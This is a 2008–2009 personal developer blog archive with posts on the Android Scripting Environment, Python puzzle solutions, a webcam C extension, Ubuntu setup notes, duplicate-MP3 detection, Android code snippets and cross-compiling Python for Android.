damonkohler

ASE 0.9 Alpha Released

2009-07-07T23:29:00.003+02:00

Interpreters installation is now handled entirely within ASE (no more downloading in the browser). Besides streamlining the interpreter installation process, this release is mostly about bug fixes:

Changing orientation in the terminal no longer restarts the running script.
Terminal preferences are now applied properly.
Added aTrackDog support to the manifest.
Saving scripts now works as expected without workarounds.

Visit the ASE project page to download the new APK.

ASE 0.8 Alpha Released

2009-06-19T09:26:00.006+02:00

I just finished releasing version 0.8 alpha. The most significant changes in this release are:

À la carte interpreter installation. which drops the installation size from 4.3MB to 900kB. With all interpreters installed, ASE now takes 7.9MB.
User scripts are now stored on the SD card and persisted across reinstallations of ASE. This should also make it easier to copy scripts to the device from a host computer or the web.

Visit the ASE project page to download the new APK. To install interpreters, click Menu, Help, then follow the directions under the InstallingInterpreters wiki page.

Solving Car Talk Puzzlers with Python

2009-06-11T13:53:00.003+02:00

If you're not familiar with Car Talk, it's a horrible talk radio show hosted by Tom and Ray Magliozzi (aka Click and Clack the Tappet brothers). Every week there is a new puzzler and every so often it's math oriented. After hearing this week's mathy puzzler, I thought it would be fun to dig into the archives (2009 and 2008) and try solving a few of them in Python. Here's what I came up with:

# 2008-10-20 The Perfect Square Dance!
import itertools, math

for numbers in itertools.permutations(range(1, 19)):
  for a, b in zip(numbers[::2], numbers[1::2]):
    sqrt = math.sqrt(a + b)
    if not str(sqrt).endswith('.0'):
      break
    if a == 1:
      sallys_partner = b
    elif b == 1:
      sallys_partner = a
  else:
    print 'Sally danced with %d' % sallys_partner
    break

# 2008-10-27 One is the Magic Number
print ''.join(str(n) for n in xrange(0, 1000000)).count('1')

# 2008-12-08 It's Math Time!
for ab in xrange(10, 100):
  cab = ab ** 2
  if str(cab)[1:] == str(ab):
    print cab
    break

# 2009-05-26 Equate This!
from __future__ import division  # Avoids truncation.
import random

numbers = [2, 3, 4, 5]
operations = ['*', '**', '+', '-', '/']

while True:
  random.shuffle(numbers)
  random.shuffle(operations)
  equation = ''
  for i, number in enumerate(numbers):
    equation += str(number)
    if i < len(numbers) - 1:
      equation += operations[i]
  result = eval(equation)
  if result == 26:
    print equation
    break

# 2009-06-08 Number One
print len([n for n in xrange(0, 1000000) if '1' not in str(n)])

I'd like to see someone good with Ruby, Perl, or Lua do the same so we can compare solutions.

Scripting on Android

2009-06-09T06:00:00.008+02:00

Today I released a project I've been working on for some time. You may remember a couple earlier posts where I got Python and Lua working on Android. I've wrapped up those hacks into a nice Android application called Android Scripting Environment (ASE).

But wait, there's more! See the official blog post on the Google Open Source Blog and the project page for details. Further updates will be publish here with the "ase" tag.

Logitech Pan/Tilt Python C Extension

2009-05-10T10:19:00.010+02:00

I just started learning C++ in earnest about a month ago. This weekend I felt like I knew enough to start looking at Python C extensions, so I wrote one to control the pan and tilt functions of my Logitech Orbit. I used this camera previously for my OLPC telepresence project.

There's already a similar module out there, called lpantilt, that does this using Cython. But, I wanted to take a crack at it myself and do it with straight C.

#include <Python.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <fcntl.h>

#include "linux/videodev2.h"
#include "uvcvideo.h"

static int pantilt(int pan, int tilt, int reset) {
 struct v4l2_ext_control xctrls[2];
 struct v4l2_ext_controls ctrls;

 if (reset) {
   xctrls[0].id = V4L2_CID_PAN_RESET;
   xctrls[0].value = 1;
   xctrls[1].id = V4L2_CID_TILT_RESET;
   xctrls[1].value = 1;
 } else {
   xctrls[0].id = V4L2_CID_PAN_RELATIVE;
   xctrls[0].value = pan;
   xctrls[1].id = V4L2_CID_TILT_RELATIVE;
   xctrls[1].value = tilt;
 }

 ctrls.count = 2;
 ctrls.controls = xctrls;

 int fd;
 if (-1 == (fd = open("/dev/video0", O_RDWR))) {
   PyErr_SetString(PyExc_IOError, "Couldn't open /dev/video0.");
   return 0;
 }

 if (-1 == ioctl(fd, VIDIOC_S_EXT_CTRLS, &ctrls)) {
   PyErr_SetString(PyExc_IOError, "ioctl failed.");
   return 0;
 }

 if (-1 == close(fd)) {
   PyErr_SetString(PyExc_IOError, "Failed to close /dev/video0.");
   return 0;
 }

 return 1;
}

static PyObject* pantilt_reset(PyObject* self, PyObject* args) {
 if (!PyArg_ParseTuple(args, "")) {
   return NULL;
 }
 if (!pantilt(0, 0, 1)) {
   return NULL;
 }
 Py_RETURN_NONE;
}

static PyObject* pantilt_pantilt(PyObject* self, PyObject* args) {
 int pan;
 int tilt;
 if (!PyArg_ParseTuple(args, "ii", &pan, &tilt)) {
   return NULL;
 }
 if (!pantilt(pan * 64, tilt * 64, 0)) {
   return NULL;
 }
 Py_RETURN_NONE;
}

static PyMethodDef PantiltMethods[] = {
 {"pantilt", pantilt_pantilt, METH_VARARGS, "Set relative pan and tilt of the camera."},
 {"reset", pantilt_reset, METH_VARARGS, "Reset the pan and tilt of the camera."},
 {NULL, NULL, 0, NULL}
};

PyMODINIT_FUNC initpantilt(void) {
 (void) Py_InitModule("pantilt", PantiltMethods);
}

And here is the associated setup.py script to build it:

from distutils.core import Extension
from distutils.core import setup

m = Extension('pantilt', sources=['pantilt.c'])

setup(name='pantilt',
 version='1.0',
 description='Control pan and tilt of supported webcams.',
 ext_modules=[m])

To get this to build and run on Ubuntu, I had to:

Download and install libwebcam.
Execute uvcdynctrl -i logitech.xml (logitech.xml can be found in the source for libwebcam).
Install the linux-source-* package and extract the /usr/src/linux-source*.tar.bz2 to disk.
Copy uvcvideo.h in to the same directory as pantilt.c.
Execute python setup.py install

Finally, here's a sample usage of the pantilt module:

import pantilt, time

pantilt.reset()  # Reset the pan and tilt to the origin.
time.sleep(1)
pantilt.pantilt(10, 0)  # Increase relative pan by 10 degrees.
pantilt.pantilt(0, 10)  # Increase relative tilt by 10 degrees.

Ubuntu Jaunty Wireless and RT61PCI

2009-04-27T20:55:00.005+02:00

I upgraded to Jaunty yesterday and again had to struggle with my wireless. This time, it wasn't necessary to install a new kernel module. Instead, I just needed to remove Network Manager and set up wpa_supplicant. Here's my new /etc/network/interfaces that I configured for my WPA2 PSK AES TLA network.

auto wlan0
iface wlan0 inet dhcp
wpa-driver wext
wpa-conf managed
wpa-ssid myssid
wpa-ap-scan 1
wpa-proto RSN
wpa-pairwise CCMP
wpa-group CCMP
wpa-key-mgmt WPA-PSK
wpa-psk mypsk

With that, all I needed to do was sudo /etc/init.d/networking restart.

OneSwarm is what I've been waiting for!

2009-04-24T23:32:00.002+02:00

OneSwarm is a friend-to-friend (F2F) file sharing network built on BitTorrent and SSL. This is an idea I've been tossing around for awhile and now, I'm happy to say, I don't have to write it myself. Here are the main selling points:

Open source. Hooray!
Cross platform. OneSwarm is written in Java and they have binaries for OS X, Windows, and Linux.
Friend-to-friend. I'm not interested in sharing with the world, just amongst my friends.
BitTorrent based transfers. That means swarming for common files shared among your friends. My previous F2F client WASTE doesn't offer that.
Point to point SSL encryption. I feel much better about SSL than the encryption scheme used by WASTE.
Google Talk integration. OneSwarm piggybacks key distribution over GTalk. That really makes life easy.
Web interface. It lends itself to remote administration.

I've only just started using it, so I'll post again with my experiences later.

Finding Duplicate MP3s Using Locality Sensitive Hashing

2009-03-02T08:47:00.008+01:00

I have a rather large collection of music that I've built up over the years. Properly organizing it and finding duplicates is time consuming. Over the weekend, I spent some time working on scripts to find duplicates. My first iteration is below. It's basically just an implementation of fdupes (apt-get install fdupes) that ignores the ID3 header in MP3 files. It uses Mutagen to handle the ID3 stuff.

import hashlib
import os
import sys

import mutagen
from mutagen.id3 import ID3


def get_mp3_digest(path):
  id3_size = ID3(path).size
  fp = open(path)
  fp.seek(id3_size)  # Igore the ID3 header.
  digest = hashlib.md5(fp.read()).hexdigest()
  fp.close()
  return digest


mp3s = {}
top = sys.argv[1]

for root, dirs, files in os.walk(top):
  for f in files:
    if f.endswith('.mp3'):
      path = os.path.join(root, f)
      try:
        digest = get_mp3_digest(path)
      except mutagen.id3.error, e:
        print >>sys.stderr, 'Error generating digest for %r.\n%r' % (path, e)
      else:
        mp3s.setdefault(digest, []).append(path)
  print >>sys.stderr, root

for digest, paths in mp3s.items():
  if len(paths) > 1:
    for path in paths:
      print path
    print

After that, I came across locality sensitive hashing (LSH) and decided it would be a nice way to speed up duplicate detection for non-exact duplicates. Here's my explanation of LSH in a nutshell. Pick some hash function that will result in collisions with similar values (i.e. concatenating a sampling of data from the value). For example, if your value was a list of four digits, pick the first two and concatenate them. That hash would have lots of collisions for similar values (any that share the same first two digits). Now, extend that hash function to include some randomness in the output. Instead of picking the first two integers in the list, pick a random two. If you hash the value many times, it creates a uniform distribution of hash keys based on the entire value you're hashing. So, similar values will often collide with each other. Once you've hashed all your values in this way, you can simply count up the collisions to find duplicates.

My script is below, but here's a basic explanation of how it works:

Convert the path into all lower case, strip all non-alpha characters, and concatenate it into one long string.
Pick a random sample of m letters from the resulting string and concatenate them into a hash key for the path.
Repeat n times per path.
For each path and for each generate hash key per path, count up the number of collisions with other paths in the hash table.
For any paths which collide more than t times, record the path as a duplicate.

This is a very fast process. If your duplicates have similar file names, you can quickly pare down the list of files to inspect further for better duplicate detection. I use the percent difference in audio length and then sort by bit rate quality. Here's the what I ended up with:

import os
import random
import re
import sys

import mutagen
from mutagen.mp3 import MP3

NUM_CHARS_TO_PICK = 50  # Number of chars to pick from each path (sample size).
NUM_BUCKETS_PER_PATH = 50  # Number of samples to pick from each path.
MATCH_THRESHOLD = 5  # Number of collisions required to indicate a duplicate.
PERCENT_DIFFERENCE_THRESHOLD = 0.025  # Threshold for matching length.

NONALPHA_RE = re.compile(r'[^a-z]')


def fuzzy_compare_mp3_length(path, other_path):
  try:
    audio = MP3(path)
    other_audio = MP3(other_path)
  except mutagen.mp3.error, e:
    logging.error('Error comparing quality of %r and %r.\n%r' %
        (path, other_path, e))
    return False
  pd = abs(audio.info.length - other_audio.info.length)
  pd /= (audio.info.length + other_audio.info.length) / 2.0
  return pd < PERCENT_DIFFERENCE_THRESHOLD


def compare_mp3_quality(path, other_path):
  try:
    audio = MP3(path)
    other_audio = MP3(other_path)
  except mutagen.mp3.error, e:
    logging.error('Error comparing quality of %r and %r.\n%r' %
        (path, other_path, e))
    return 0
  return audio.info.bitrate - other_audio.info.bitrate


def hash(s):
  indexes = random.sample(xrange(len(s)), NUM_CHARS_TO_PICK)
  indexes.sort()
  return ''.join(s[i] for i in indexes)


buckets = {}
paths = {}


# First we fill buckets using a LSH.
for top in sys.argv[1:]:
  for root, dirs, files in os.walk(top):
    for f in files:
      path = os.path.join(root, f)
      name, ext = os.path.splitext(path[len(top):])
      if ext != '.mp3':
        continue
      letters = NONALPHA_RE.sub('', name.lower())
      # We need to pad any strings that are too short.
      letters += 'x' * (NUM_CHARS_TO_PICK - len(letters))
      for n in range(NUM_BUCKETS_PER_PATH):
        bucket_key = hash(letters)
        buckets.setdefault(bucket_key, []).append(path)
        paths.setdefault(path, []).append(bucket_key)
    print >>sys.stderr, root

checked = []
for path, path_bucket_keys in paths.iteritems():
  # Skip already checked paths. We assume that duplicate detection is
  # communitive. If dupe(A, B) and dupe(B, C) then dupe(A, C).
  if path in checked:
    continue
  # Count up all the bucket collisions by path. This count includes our
  # current path (it will exist once in all its own buckets)
  collisions = {}
  for bucket_key in path_bucket_keys:
    for other_path in buckets[bucket_key]:
      collisions[other_path] = collisions.get(other_path, 0) + 1
  # All paths that collided more times than the threshold are duplicates.
  dupes = set()
  for other_path, count in collisions.iteritems():
    if count > MATCH_THRESHOLD:
      dupes.add(other_path)
  # If we have dupes based on path similarity, sort them by quality and remove
  # any dupes with significantly different lengths.
  if len(dupes) > 1:
    checked.extend(dupes)
    dupes = sorted(dupes, cmp=compare_mp3_quality, reverse=True)
    for dupe in dupes[1:]:
      if not fuzzy_compare_mp3_length(dupes[0], dupe):
        dupes.remove(dupe)
  # If we still have dupes, output them to the rm script.
  if len(dupes) > 1:
    print '# rm %r' % dupes[0]
    for dupe in dupes[1:]:
      print 'rm %r' % dupe
    print

It was very snappy and worked quite well for me. There are several natural extensions of this that include looking at ID3 tags. It's possible I'll get around to that as well :)

Installing a New Hard Drive on Ubuntu

2009-02-28T20:12:00.006+01:00

Installing a new hard drive isn't a particularly arduous task, but there are a few commands I usually forget. Here are the steps I take after hooking up a new drive:

Run fdisk -l and find the new drive's device (we'll call it xxx).
Run sudo fdisk /dev/xxx and create a new primary partition (enter n, p, 1, default, default).
Run mkfs.ext3 /dev/xxx1 to format the new partition.
Label the new ext3 partition using sudo e2label <new-label>
Refresh /dev/disk/by-uuid using sudo /etc/init.d/udev restart
Edit /etc/fstab to add the new partition to the list of mounts.

Android Recipes and Snippets

2009-02-13T09:40:00.023+01:00

I've put together a small collection of Android recipes. For each of these recipes, this is an instance of Context (more specifically, Activity or Service) unless otherwise noted. Enjoy :)

Intents
One of the coolest things about Android is Intents. The two most common uses of Intents are starting an Activity (open an email, contact, etc.) and starting an Activity for a result (scan a barcode, take a picture to attach to an email, etc.). Intents are specified primarily using action strings and URIs. Here are some things you can do with the android.intent.action.VIEW action and startActivity().

Intent intent = new Intent(Intent.ACTION_VIEW);
// Choose a value for uri from the following.
// Search Google Maps: geo:0,0?q=query
// Show contacts: content://contacts/people
// Show a URL: http://www.google.com
intent.setData(Uri.parse(uri));
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);

Other useful action/URI pairs include:

Intent.ACTION_DIAL, tel://8675309
Intent.ACTION_CALL, tel://8675309

More interesting things are available when you use startActivityForResult(). For example, to scan a barcode:

Intent intent = new Intent("com.google.zxing.client.android.SCAN");
startActivityForResult(intent, 0);

Then, add onActivityResult to your activity.

@Override
public void onActivityResult(int requestCode, int resultCode, Intent data) {
  if (resultCode == Activity.RESULT_OK && requestCode == 0) {
    Bundle extras = data.getExtras();
    String result = extras.getStringExtra("SCAN_RESULT");
    // ...
  }
}

Taking a picture is done like so:

Intent intent = new Intent("android.media.action.IMAGE_CAPTURE");
startActivityForResult(intent, 0);
// ...

@Override
public void onActivityResult(int requestCode, int resultCode, Intent data) {
  if (resultCode == Activity.RESULT_OK && requestCode == 0) {
    String result = data.toURI();
    // ...
  }
}

Check out the OpenIntents registry for more information.

Wifi
The WifiManager can be used to enable and disable wifi. Where enabled is a boolean, it's as easy as:

WifiManager wifi = (WifiManager) getSystemService(Context.WIFI_SERVICE);
wifi.setWifiEnabled(enabled);

Notifications
Text notifications (called Toast) which appear briefly above all activities are also easy:

Toast.makeText(this, message, Toast.LENGTH_SHORT).show();

You can increase the time the notification is displayed by using Toast.LENGTH_LONG instead.

Alert and Input Dialogs
Sometimes it's useful to prompt the user for input. An easy way to do that without creating a new layout is to use AlertDialog.Builder.

AlertDialog.Builder alert = new AlertDialog.Builder(this);
alert.setTitle(title);
alert.setMessage(message);

// You can set an EditText view to get user input besides
// which button was pressed.
final EditText input = new EditText(this);
alert.setView(input);

alert.setPositiveButton("Ok", new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int whichButton) {
  String value = input.getText();
  // Do something with value!
  }
});
alert.setNegativeButton("Cancel", new DialogInterface.OnClickListener() {
  public void onClick(DialogInterface dialog, int whichButton) {
    // Canceled.
  }
});

alert.show();

Location
Use the LocationManager to start up the GPS and listen for location updates.

LocationManager locator = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
LocationListener mLocationListener = new LocationListener() {
  public void onLocationChanged(Location location) {
    if (location != null) {
      location.getAltitude();
      location.getLatitude();
      location.getLongitude();
      location.getTime();
      location.getAccuracy();
      location.getSpeed();
      location.getProvider();
    }
  }

  public void onProviderDisabled(String provider) {
    // ...
  }

  public void onProviderEnabled(String provider) {
    // ...
  }

  public void onStatusChanged(String provider, int status, Bundle extras) {
    // ...
  }
};

// You need to specify a Criteria for picking the location data source.
// The criteria can include power requirements.
Criteria criteria = new Criteria();
criteria.setAccuracy(Criteria.ACCURACY_COARSE);  // Faster, no GPS fix.
criteria.setAccuracy(Criteria.ACCURACY_FINE);  // More accurate, GPS fix.
// You can specify the time and distance between location updates.
// Both are useful for reducing power requirements.
mLocationManager.requestLocationUpdates(mLocationManager.getBestProvider(criteria, true),
    MIN_LOCATION_UPDATE_TIME, MIN_LOCATION_UPDATE_DISTANCE, mLocationListener,
    getMainLooper());

You can also get the phone's last known location using the LocationManager. This is faster than setting up a LocationListener and waiting for a fix.

// Start with fine location.
Location l = locator.getLastKnownLocation(LocationManager.GPS_PROVIDER);
if (l == null) {
  // Fall back to coarse location.
  l = locator.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
}

SMS
Sending a text is done with the SmsManager.

SmsManager m = SmsManager.getDefault();
String destination = "8675309";
String text = "Hello, Jenny!";
m.sendTextMessage(destination, null, text, null, null);

Vibrate
You can vibrate the phone for a specified duration like so:

(Vibrator) getSystemService(Context.VIBRATOR_SERVICE).vibrate(milliseconds);

Sensors
Accessing sensor data is done using the SensorManager.

SensorManager mSensorManager = (SensorManager) getSystemService(Activity.SENSOR_SERVICE);
private final SensorListener mSensorListener = new SensorListener() {
  public void onAccuracyChanged(int sensor, int accuracy) {
    // ...
  }

  public void onSensorChanged(int sensor, float[] values) {
    switch (sensor) {
      case SensorManager.SENSOR_ORIENTATION:
        float azimuth = values[0];
        float pitch = values[1];
        float roll = values[2];
        break;
      case SensorManager.SENSOR_ACCELEROMETER:
        float xforce = values[0];
        float yforce = values[1];
        float zforce = values[2];
        break;
      case SensorManager.SENSOR_MAGNETIC_FIELD:
        float xmag = values[0];
        float ymag = values[1];
        float zmag = values[2];
        break;
    }
  }
};

// Start listening to all sensors.
mSensorManager.registerListener(mSensorListener, mSensorManager.getSensors());
// ...
// Stop listening to sensors.
mSensorManager.unregisterListener(mSensorListener);

Silence Ringer
You can use the AudioManager to enable and disable silent mode.

mAudio = (AudioManager) getSystemService(Activity.AUDIO_SERVICE);
mAudio.setRingerMode(AudioManager.RINGER_MODE_SILENT);
// or...
mAudio.setRingerMode(AudioManager.RINGER_MODE_NORMAL);

Useful Links
That's it from me for now. But, here are some useful sources of more information:

The official Android developer site. It used to be on Google Code, but it has since moved.
The Android source code.
Mike's guide to browsing the Android source tree in Eclipse.
Sample Android applications from Google.
And, of course, Google Code Search.

Ubuntu on the OLPC XO

2009-02-11T18:46:00.007+01:00

Between last night and early this morning, I got Ubuntu Intrepid running on my XO using a SanDisk Extreme III 4GB SD card. There's lots of instruction available on the subject, but it took the combination of several sources of information to get it working for me. My findings and suggestions are below.

To do this trick, you'll need a USB stick with at least 1GB of space and an SD card with at least 2GB of space (you'll erase both of them completely later). Start off by reading teapot's instructions for installing Intrepid. Start downloading the bzip archive (don't put it on your USB stick yet). Check to make sure you have a developer key and that your XO build and firmware are up-to-date.

Now that you think you're up to date, you need to update your firmware to version Q2E24. Download this Joyride build and follow these directions to write it to your USB stick. Connect the USB stick and reboot your XO. After it reboots, it will start updating your firmware before rebooting itself again. Once it shuts down to reboot, remove the USB stick before it powers back on again. (If you don't manage in time, it's not a big deal. Just shutdown, and remove the USB stick before turning it on again.)

Now, follow teacup's directions up through erasing the MBR and partition table on the SD card. Instead of using his fancy echo command and sfdisk, I'd recommend using fdisk as per his instructions for Hardy. There are reports of people having trouble with sfdisk. All I can say is, fdisk worked for me.

Continue to follow his instructions for Intrepid until you're ready to reboot. Now, edit /mnt/boot/olpc.fth and delete the "\" from the line that reads \ unfreeze so that it just reads unfreeze. (You can read more about unfreeze here.)

Finally, pick up where you left off with teapot's instructions.

Vim Features Overview

2009-02-11T15:57:00.005+01:00

I just found this really nice overview of Vim features while reading up on omni completion. I've used Vim for years and still found quite a few tidbits in there that were news to me. Good ol' Vim. Always full of surprises.

VIM for (PHP) Programmers

Publish at Scribd or explore others: Internet & Technolog Internet & Technolog vim Technology-UNIX

Rhythmbox shout2send Plugin

2009-01-25T15:13:00.006+01:00

As promised, here is my Rhythmbox plugin for streaming whatever is currently playing. To install, just extract it in ~/.gnome2/rhythmbox/plugins. I use the following alias to start playing the stream on my Chumby.

alias chumbystream="ssh root@chumby btplay --output=alsa:plug:dmixer http://server:8000/stream.ogg"

I also have a few troubleshooting tips.

Make sure you haven't muted Rhythmbox. You can control the volume of the stream output using the volume control in Rhythmbox.
Make sure your Icecast server is running.
If Rhythmbox behaves oddly, try disabling the plugin, restarting Rhythmbox, and re-enable the plugin.

If you're interested in writing Python plugins for Rhythmbox, the source code for this plugin is pretty simple. It may serve as a good starting point. Also, see the Rhythmbox plugin writing guide.

This is not only my first Rhythmbox plugin, but also my first use of GTK, Glade, and GConf. I already had a little experience with GStreamer on the OLPC. Overall, the process was amazingly painless. Props to the Rhythmbox team for making the process of writing plugins so easy!

Streaming Music to the Chumby with PulseAudio and GStreamer

2009-01-24T15:22:00.007+01:00

I spent a little while today figuring out how to stream the music I was playing in Rhythmbox (in the living room) to my Chumby (in the kitchen) . I found a nice article that explains how to set up a GStreamer pipeline for streaming the monitor output from PulseAudio through Icecast. It works quite well for streaming to the Chumby (except for a pretty significant lag). Here's the quick start guide for Ubuntu Intrepid:

Set up PulseAudio.
$ sudo apt-get install icecast2
Edit /etc/default/icecast2 to enable Icecast and /etc/icecast2/icecast.xml to set a password (defaults to "hackme").
$ sudo /etc/init.d/icecast2 start
Find the name of your PulseAudio monitor device by opening the manager from the PulseAudio applet. It should start with alsa_output.pci and end with monitor.
$ gst-launch pulsesrc device=<alsa_output.pci...monitor> ! audioconvert ! vorbisenc ! oggmux ! shout2send mount=/stream.ogg port=8000 password=hackme ip=127.0.0.1
Start sshd on your Chumby.
$ ssh root@<chumby_ip> btplay --output=alsa:plug:dmixer http://<server_ip>:8000/stream.ogg

I'm working on a Rhythmbox plugin for this. Stay tuned :)

Update
Plugin written.

Getting started with the CMUCam3

2008-12-31T20:53:00.002+01:00

One of the toys I got this Christmas is the very nifty CMUCam3. I haven't done much with it yet (the first picture I took with it is below). But, I did hit a small bump in the instructions for setting it up under Linux. The CMUCam3 Linux Quick Start Guide (overall, quite good) suggests downloading the Linux ARM-gcc compiler from the CMUCam downloads page. However, the link you'll find there has you download an installer binary instead of the bzip package referenced later in the instructions. In the CMUCam3 source directory, however, you'll find that BUILDING.txt provides a link to the CodeSourcery download page. From there you can find the bzip packaged version of the toolchain. I recommend that route instead.

Update
Be sure to download the EABI target OS version.

Python on Android

2008-12-19T18:52:00.003+01:00

Note: This post is out of date. If you'd like to run Python on your Android device, please see my Android Scripting Environment project.

Here's an early Christmas present for all those Python fanatics (self included) out there! With a lot of help from my friends (thanks Manuel and Thomas!) I managed to install Python 2.4.5 on my G1. It's still rough around the edges, but I think it's a good start. Klaus Reimer has a nice overview of how to cross-compile Python. My instructions borrow a lot from his.

Download and build the Android source. These directions assume that you have installed the source to /android_src.
Download and build the Python 2.4.5 source. These directions assume that you have installed the source to /python_src.
Make copies of python and pgen for use later in the build process then clean up.

$ cd /python_src
$ cp python hostpython
$ cp Parser/pgen Parser/hostpgen
$ make distclean

Apply the following patch to the Python source.

diff -r -c -b Python-2.4.5/Makefile.pre.in Python-2.4.5-android/Makefile.pre.in
*** Python-2.4.5/Makefile.pre.in Sun Oct  8 19:41:25 2006
--- Python-2.4.5-android/Makefile.pre.in Fri Dec 19 10:02:17 2008
***************
*** 166,171 ****
--- 166,172 ----

PYTHON=  python$(EXE)
BUILDPYTHON= python$(BUILDEXE)
+ HOSTPYTHON= ./$(BUILDPYTHON)

# === Definitions added by makesetup ===

***************
*** 192,197 ****
--- 193,199 ----
##########################################################################
# Parser
PGEN=  Parser/pgen$(EXE)
+ HOSTPGEN=       $(PGEN)

POBJS=  \
Parser/acceler.o \
***************
*** 324,331 ****
# Build the shared modules
sharedmods: $(BUILDPYTHON)
case $$MAKEFLAGS in \
!  *-s*) $(RUNSHARED) CC='$(CC)' LDSHARED='$(BLDSHARED)' OPT='$(OPT)' ./$(BUILDPYTHON) -E $(srcdir)/setup.py -q build;; \
!  *) $(RUNSHARED) CC='$(CC)' LDSHARED='$(BLDSHARED)' OPT='$(OPT)' ./$(BUILDPYTHON) -E $(srcdir)/setup.py build;; \
esac

# buildno should really depend on something like LIBRARY_SRC
--- 326,333 ----
# Build the shared modules
sharedmods: $(BUILDPYTHON)
case $$MAKEFLAGS in \
!  *-s*) $(RUNSHARED) CC='$(CC)' LDSHARED='$(BLDSHARED)' OPT='$(OPT)' $(HOSTPYTHON) -E $(srcdir)/setup.py -q build;; \
!  *) $(RUNSHARED) CC='$(CC)' LDSHARED='$(BLDSHARED)' OPT='$(OPT)' $(HOSTPYTHON) -E $(srcdir)/setup.py build;; \
esac

# buildno should really depend on something like LIBRARY_SRC
***************
*** 455,461 ****


$(GRAMMAR_H) $(GRAMMAR_C): $(PGEN) $(GRAMMAR_INPUT)
!   -$(PGEN) $(GRAMMAR_INPUT) $(GRAMMAR_H) $(GRAMMAR_C)

$(PGEN): $(PGENOBJS)
$(CC) $(OPT) $(LDFLAGS) $(PGENOBJS) $(LIBS) -o $(PGEN)
--- 457,463 ----


$(GRAMMAR_H) $(GRAMMAR_C): $(PGEN) $(GRAMMAR_INPUT)
!   -$(HOSTPGEN) $(GRAMMAR_INPUT) $(GRAMMAR_H) $(GRAMMAR_C)

$(PGEN): $(PGENOBJS)
$(CC) $(OPT) $(LDFLAGS) $(PGENOBJS) $(LIBS) -o $(PGEN)
***************
*** 748,767 ****
done; \
done
$(INSTALL_DATA) $(srcdir)/LICENSE $(DESTDIR)$(LIBDEST)/LICENSE.txt
!  PYTHONPATH=$(DESTDIR)$(LIBDEST)  $(RUNSHARED) \
!   ./$(BUILDPYTHON) -Wi -tt $(DESTDIR)$(LIBDEST)/compileall.py \
-d $(LIBDEST) -f \
-x 'badsyntax|site-packages' $(DESTDIR)$(LIBDEST)
!  PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
!   ./$(BUILDPYTHON) -Wi -tt -O $(DESTDIR)$(LIBDEST)/compileall.py \
-d $(LIBDEST) -f \
-x 'badsyntax|site-packages' $(DESTDIR)$(LIBDEST)
-PYTHONPATH=$(DESTDIR)$(LIBDEST)  $(RUNSHARED) \
!   ./$(BUILDPYTHON) -Wi -t $(DESTDIR)$(LIBDEST)/compileall.py \
-d $(LIBDEST)/site-packages -f \
-x badsyntax $(DESTDIR)$(LIBDEST)/site-packages
-PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
!   ./$(BUILDPYTHON) -Wi -t -O $(DESTDIR)$(LIBDEST)/compileall.py \
-d $(LIBDEST)/site-packages -f \
-x badsyntax $(DESTDIR)$(LIBDEST)/site-packages

--- 750,769 ----
done; \
done
$(INSTALL_DATA) $(srcdir)/LICENSE $(DESTDIR)$(LIBDEST)/LICENSE.txt
!  -PYTHONPATH=$(DESTDIR)$(LIBDEST)  $(RUNSHARED) \
!   $(HOSTPYTHON) -Wi -tt $(DESTDIR)$(LIBDEST)/compileall.py \
-d $(LIBDEST) -f \
-x 'badsyntax|site-packages' $(DESTDIR)$(LIBDEST)
!  -PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
!   $(HOSTPYTHON) -Wi -tt -O $(DESTDIR)$(LIBDEST)/compileall.py \
-d $(LIBDEST) -f \
-x 'badsyntax|site-packages' $(DESTDIR)$(LIBDEST)
-PYTHONPATH=$(DESTDIR)$(LIBDEST)  $(RUNSHARED) \
!   $(HOSTPYTHON) -Wi -t $(DESTDIR)$(LIBDEST)/compileall.py \
-d $(LIBDEST)/site-packages -f \
-x badsyntax $(DESTDIR)$(LIBDEST)/site-packages
-PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
!   $(HOSTPYTHON) -Wi -t -O $(DESTDIR)$(LIBDEST)/compileall.py \
-d $(LIBDEST)/site-packages -f \
-x badsyntax $(DESTDIR)$(LIBDEST)/site-packages

***************
*** 856,862 ****
# Install the dynamically loadable modules
# This goes into $(exec_prefix)
sharedinstall:
!  $(RUNSHARED) ./$(BUILDPYTHON) -E $(srcdir)/setup.py install \
   --prefix=$(prefix) \
--install-scripts=$(BINDIR) \
--install-platlib=$(DESTSHARED) \
--- 858,864 ----
# Install the dynamically loadable modules
# This goes into $(exec_prefix)
sharedinstall:
!  $(RUNSHARED) $(HOSTPYTHON) -E $(srcdir)/setup.py install \
   --prefix=$(prefix) \
--install-scripts=$(BINDIR) \
--install-platlib=$(DESTSHARED) \
diff -r -c -b Python-2.4.5/Modules/pwdmodule.c Python-2.4.5-android/Modules/pwdmodule.c
*** Python-2.4.5/Modules/pwdmodule.c Wed Sep 27 21:17:32 2006
--- Python-2.4.5-android/Modules/pwdmodule.c Fri Dec 19 10:26:14 2008
***************
*** 77,83 ****
#ifdef __VMS
SETS(setIndex++, "");
#else
!  SETS(setIndex++, p->pw_gecos);
#endif
SETS(setIndex++, p->pw_dir);
SETS(setIndex++, p->pw_shell);
--- 77,83 ----
#ifdef __VMS
SETS(setIndex++, "");
#else
!  SETS(setIndex++, "");//p->pw_gecos);
#endif
SETS(setIndex++, p->pw_dir);
SETS(setIndex++, p->pw_shell);
diff -r -c -b Python-2.4.5/Modules/socketmodule.c Python-2.4.5-android/Modules/socketmodule.c
*** Python-2.4.5/Modules/socketmodule.c Tue Oct 10 18:20:41 2006
--- Python-2.4.5-android/Modules/socketmodule.c Fri Dec 19 17:51:36 2008
***************
*** 61,66 ****
--- 61,67 ----

*/

+ #define INET_ADDRSTRLEN 16
#ifdef __APPLE__
/*
 * inet_aton is not available on OSX 10.3, yet we want to use a binary
diff -r -c -b Python-2.4.5/Objects/fileobject.c Python-2.4.5-android/Objects/fileobject.c
*** Python-2.4.5/Objects/fileobject.c Tue Jan 23 16:09:19 2007
--- Python-2.4.5-android/Objects/fileobject.c Fri Dec 19 16:47:32 2008
***************
*** 1,5 ****
--- 1,6 ----
/* File object implementation */

+ #include "/android_src/bionic/libc/stdio/clrerr.c"
#include "Python.h"
